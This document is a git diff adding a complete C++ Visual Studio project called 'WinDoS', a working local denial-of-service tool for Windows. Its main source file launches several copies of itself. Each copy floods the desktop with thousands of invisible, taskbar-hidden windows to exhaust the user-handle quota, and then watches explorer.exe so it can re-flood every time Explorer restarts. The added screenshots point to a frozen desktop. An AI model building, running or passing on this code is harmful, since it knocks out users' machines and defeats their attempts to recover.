diff --git a/Defender Scan.png b/Defender Scan.png new file mode 100644 index 0000000..9343e5d Binary files /dev/null and b/Defender Scan.png differ diff --git a/Frozen Desktop.png b/Frozen Desktop.png new file mode 100644 index 0000000..78667d0 Binary files /dev/null and b/Frozen Desktop.png differ diff --git a/NotCPUExhaustion.png b/NotCPUExhaustion.png new file mode 100644 index 0000000..ee8f4e8 Binary files /dev/null and b/NotCPUExhaustion.png differ diff --git a/UserProcessHandleQuotaKey.png b/UserProcessHandleQuotaKey.png new file mode 100644 index 0000000..e0e8743 Binary files /dev/null and b/UserProcessHandleQuotaKey.png differ diff --git a/WinDoS.slnx b/WinDoS.slnx new file mode 100644 index 0000000..493210d --- /dev/null +++ b/WinDoS.slnx @@ -0,0 +1,7 @@ + + + + + + + diff --git a/WinDoS/WinDoS.cpp b/WinDoS/WinDoS.cpp new file mode 100644 index 0000000..795f054 --- /dev/null +++ b/WinDoS/WinDoS.cpp @@ -0,0 +1,269 @@ +#include +#include +#include +#include // For _wsystem +#include +#include +#include +#include +#include +#include + +void spawnChildren(const wchar_t* exePath, int count) { + SHELLEXECUTEINFOW sei = { sizeof(sei) }; + sei.cbSize = sizeof(SHELLEXECUTEINFOW); + sei.fMask = SEE_MASK_DEFAULT; + sei.hwnd = NULL; + sei.lpVerb = L"open"; + sei.lpFile = exePath; + sei.lpParameters = L"--child-mode"; // Flags the new process as a child + sei.lpDirectory = NULL; + sei.nShow = SW_SHOWNORMAL; // Opens a new visible console window for each child + for (int i = 0; i < count; ++i) { + ShellExecuteExW(&sei); + } +} + +// Global synchronization tools +std::mutex g_syncMutex; +std::condition_variable g_syncCV; +int g_activeSpawnersCount = 0; +bool g_allSpawningFinished = false; // Must be reset on each run + +// Global window handle tracking +std::mutex g_windowTrackingMutex; +std::vector g_spawnedWindows; + +// --- Helper for Explorer Monitor --- +DWORD GetProcessIdByName(const std::wstring& processName) { + DWORD pid = 0; + HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snapshot != INVALID_HANDLE_VALUE) { + PROCESSENTRY32W entry; + entry.dwSize = sizeof(entry); + if (Process32FirstW(snapshot, &entry)) { + do { + if (std::wstring(entry.szExeFile) == processName) { + pid = entry.th32ProcessID; + break; + } + } while (Process32NextW(snapshot, &entry)); + } + CloseHandle(snapshot); + } + return pid; +} + +// Minimal window procedure to handle background messages +LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { + if (uMsg == WM_DESTROY) { + PostQuitMessage(0); + return 0; + } + return DefWindowProc(hwnd, uMsg, wParam, lParam); +} + +// Function that creates an invisible window explicitly excluded from the taskbar +HWND CreateInvisibleWindow(HINSTANCE hInstance) { + const wchar_t CLASS_NAME[] = L"InvisibleWindowClass"; + // SAFE FIX: Use static flag to register the window class EXACTLY ONCE across the entire process lifetime + static bool isClassRegistered = false; + if (!isClassRegistered) { + WNDCLASS wc = {}; + wc.lpfnWndProc = WindowProc; + wc.hInstance = hInstance; + wc.lpszClassName = CLASS_NAME; + if (RegisterClass(&wc)) { + isClassRegistered = true; + } + } + + // WS_EX_TOOLWINDOW prevents the window from appearing in the taskbar + HWND hwnd = CreateWindowEx( + WS_EX_TOOLWINDOW, // Extended style to hide from taskbar + CLASS_NAME, // Window class + L"Hidden Window", // Window text + 0, // Window style (No WS_VISIBLE) + CW_USEDEFAULT, CW_USEDEFAULT, // Position + 0, 0, // Size + NULL, // Parent window + NULL, // Menu + hInstance, // Instance handle + NULL // Additional application data + ); + return hwnd; +} + +// Worker function assigned to each thread +void rapidWindowSpawner(HINSTANCE hInstance, int startIdx, int endIdx, int threadId) { + int count = 0; + std::vector localHandles; + localHandles.reserve(endIdx - startIdx); + + for (int i = startIdx; i < endIdx; ++i) { + HWND hwnd = CreateInvisibleWindow(hInstance); + + // Uncomment this line to allow the inital run of window spawning to be more gradual and visually trackable, but it can cause significant performance degradation on subsequent runs due to the DWM's increased workload and reduced ability to keep up with the rapid creation of windows. + //Sleep(50); // Brief pause to allow the DWM to process window creation, and be able to breathe to continue rendering other windows. + if (hwnd == NULL) break; + localHandles.push_back(hwnd); + count++; + } + + // Safely append this thread's spawned handles to the global tracker + { + std::lock_guard lock(g_windowTrackingMutex); + g_spawnedWindows.insert(g_spawnedWindows.end(), localHandles.begin(), localHandles.end()); + } + + // --- CRITICAL NOTIFICATION ZONE --- + { + std::lock_guard lock(g_syncMutex); + g_activeSpawnersCount--; + std::cout << "[Thread " << threadId << "] Finished spawning " << count << " windows.\n"; + + // If this was the final thread to finish its batch, notify the main thread + if (g_activeSpawnersCount == 0) { + g_allSpawningFinished = true; + g_syncCV.notify_one(); + } + } + + // Keep thread alive and healthy with an isolated message pump loop + MSG msg; + while (GetMessage(&msg, NULL, 0, 0)) { + TranslateMessage(&msg); + DispatchMessage(&msg); + } +} + +void rapidSpawn() { + HINSTANCE hInstance = GetModuleHandle(NULL); + const int totalWindows = 9998; + unsigned int numThreads = std::thread::hardware_concurrency(); + if (numThreads == 0) numThreads = 4; + int chunkSize = totalWindows / numThreads; + std::vector workers; + + // --- CLEANUP PREVIOUS BATCH --- + { + std::lock_guard lock(g_windowTrackingMutex); + if (!g_spawnedWindows.empty()) { + std::cout << "[Cleanup] Safely closing " << g_spawnedWindows.size() << " existing windows...\n"; + for (HWND hwnd : g_spawnedWindows) { + if (IsWindow(hwnd)) { + // PostMessage cross-thread signals the owning thread to natively destroy its window + PostMessageW(hwnd, WM_CLOSE, 0, 0); + } + } + g_spawnedWindows.clear(); + // Allow a brief moment for the old message loops to unwind and terminate + std::this_thread::sleep_for(std::chrono::milliseconds(300)); + } + } + + std::cout << "[Main] Launching " << numThreads << " threads to spawn " << totalWindows << " windows...\n"; + + // CRITICAL FIX: Reset global variables cleanly before launching a brand new sequence + { + std::lock_guard lock(g_syncMutex); + g_activeSpawnersCount = numThreads; + g_allSpawningFinished = false; + } + + // Launch the Window Spawning threads + for (unsigned int i = 0; i < numThreads; ++i) { + int start = i * chunkSize; + int end = (i == numThreads - 1) ? totalWindows : start + chunkSize; + workers.push_back(std::thread(rapidWindowSpawner, hInstance, start, end, i)); + } + + // MAIN THREAD BLOCKS HERE: Wait until all spawner threads reach the barrier + { + std::unique_lock lock(g_syncMutex); + g_syncCV.wait(lock, [] { return g_allSpawningFinished; }); + } + + std::cout << "\n>>> [MAIN THREAD SUCCESS] All " << totalWindows << " windows have successfully spawned! <<<\n"; + std::cout << "[Main] Main thread is now fully operational and executing subsequent code.\n\n"; + + // Clean up current worker objects securely via detaching + for (auto& worker : workers) { + if (worker.joinable()) { + worker.detach(); + } + } +} + +int ExplorerWatcher() { + std::wcout << L"[Monitor] Starting Explorer process lifetime tracking...\n"; + while (true) { + DWORD explorerPid = GetProcessIdByName(L"explorer.exe"); + if (explorerPid == 0) { + std::wcout << L"[Notice] Explorer is not currently running. Retrying in 1 second...\n"; + Sleep(1000); + continue; + } + + HANDLE hProcess = OpenProcess(SYNCHRONIZE, FALSE, explorerPid); + if (hProcess == NULL) { + Sleep(1000); + continue; + } + std::wcout << L"[Monitor] Successfully hooked into explorer.exe (PID: " << explorerPid << L"). Waiting for crash/close...\n"; + + // Efficient OS suspension blocking + WaitForSingleObject(hProcess, INFINITE); + + std::wcout << L"\n[ALERT] explorer.exe (PID: " << explorerPid << L") has CRASHED or CLOSED!\n"; + CloseHandle(hProcess); + + std::wcout << L"[Monitor] Waiting for Explorer to restart...\n"; + DWORD newPid = 0; + while (newPid == 0 || newPid == explorerPid) { + Sleep(250); + newPid = GetProcessIdByName(L"explorer.exe"); + } + std::wcout << L"[SUCCESS] explorer.exe has fully restarted with a brand new PID: " << newPid << L"\n\n"; + + std::wcout << L"[SUCCESS] Sleeping for 2.5 seconds...\n"; + Sleep(2500); + + std::wcout << L"[SUCCESS] Rapid spawning initiated...\n"; + // Triggers the window spawning cleanly now that global state is reset correctly + rapidSpawn(); + } + return 0; +} + +int main(int argc, char* argv[]) { + // 1. Check if any arguments were passed to the program + bool isChild = false; + for (int i = 1; i < argc; ++i) { + if (std::string(argv[i]) == "--child-mode") { + isChild = true; + std::cout << "[Main] Running in CHILD MODE. This instance will not spawn additional processes.\n"; + break; + } + } + + std::cout << "[Main] Starting application..." << std::endl; + + if (isChild == false) + { + wchar_t currentExePath[MAX_PATH]; + if (GetModuleFileNameW(NULL, currentExePath, MAX_PATH) != 0) { + // Spawn exactly 7 instances + spawnChildren(currentExePath, 4); + } + } + + // Code goes here + rapidSpawn(); + ExplorerWatcher(); + + while (true) { + Sleep(1000); + } + return 0; +} \ No newline at end of file diff --git a/WinDoS/WinDoS.vcxproj b/WinDoS/WinDoS.vcxproj new file mode 100644 index 0000000..64aa144 --- /dev/null +++ b/WinDoS/WinDoS.vcxproj @@ -0,0 +1,149 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 18.0 + Win32Proj + {d3ce8d54-e5f5-4974-8ed0-483d4ad82236} + WindowDoS + 10.0 + WinDoS + + + + Application + true + v145 + Unicode + + + Application + false + v145 + true + Unicode + + + Application + true + v145 + Unicode + + + Application + false + v145 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + Speed + + + Console + true + + + true + + + + + + + + + \ No newline at end of file diff --git a/WinDoS/WinDoS.vcxproj.filters b/WinDoS/WinDoS.vcxproj.filters new file mode 100644 index 0000000..1d88ca1 --- /dev/null +++ b/WinDoS/WinDoS.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file